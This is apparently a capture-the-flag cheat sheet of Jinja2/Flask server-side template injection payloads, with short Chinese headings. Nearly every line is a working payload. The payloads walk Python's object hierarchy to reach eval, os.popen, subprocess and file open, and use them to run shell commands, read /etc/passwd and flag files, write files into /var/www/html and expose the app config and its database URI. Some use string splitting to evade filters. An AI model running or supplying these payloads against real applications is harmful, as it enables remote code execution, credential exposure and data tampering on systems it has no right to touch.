SSTI

查看全局函数

().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls").read()' )

查看flag文件所在

{{"".__class__.__mro__[2].__subclasses__()[40]("fl4g").read()}}

获取基类

{{[].__class__}}

获取所有类

''.__class__.__mro__[2].__subclasses__()

获取config对象与request对象类

{{url_for.__globals__}}
{{config}}#即查看权限
{{ config.SQLALCHEMY_DATABASE_URI }}

读取文件类

[].__class__.__base__.__subclasses__()[40]('fl4g').read()

{{[].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('ls').read()}}
[].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('ls /flasklight').read()
[].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('cat coomme_geeeett_youur_flek').read()
().__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].listdir('.')
{{''.__class__.__mro__[2].__subclasses__()[258]('ls',shell=True,stdout=-1).communicate()[0].strip()}}
{{''.__class__.__mro__[2].__subclasses__()[258]('ls /flasklight',shell=True,stdout=-1).communicate()[0].strip()}}
{{''.__class__.__mro__[2].__subclasses__()[258]('cat /flasklight/coomme_geeeett_youur_flek',shell=True,stdout=-1).communicate()[0].strip()}}
#调用file
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').read()      #把 read() 改为 write() 就是写文件
#读文件
().__class__.__bases__[0].__subclasses__()[40](r'C:1.php').read()
object.__subclasses__()[40](r'C:1.php').read()
#写文件
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')
object.__subclasses__()[40]('/var/www/html/input', 'w').write('123')

#调用eval
[].__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('ls').read()")
#调用system方法
>>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.values()[144]('whoami')
root
0
#调用commands进行命令执行
{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('commands').getstatusoutput('ls')
#读取文件与写文件类
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__[%27open%27](%27/etc/passwd%27).read()}}
#执行命令
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('id').read()")}}
#命令执行：
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %}
#文件操作
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('<command>').read()") }}{% endif %}{% endfor %}
[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].system('ls')
[].__class__.__base__.__subclasses__()[76].__init__.__globals__['os'].system('ls')
"".__class__.__mro__[-1].__subclasses__()[60].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')
"".__class__.__mro__[-1].__subclasses__()[61].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')
"".__class__.__mro__[-1].__subclasses__()[40](filename).read()
"".__class__.__mro__[-1].__subclasses__()[29].__call__(eval,'os.system("ls")')
''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.values()[13]['eval']
"".__class__.__mro__[-1].__subclasses__()[117].__init__.__globals__['__builtins__']['eval']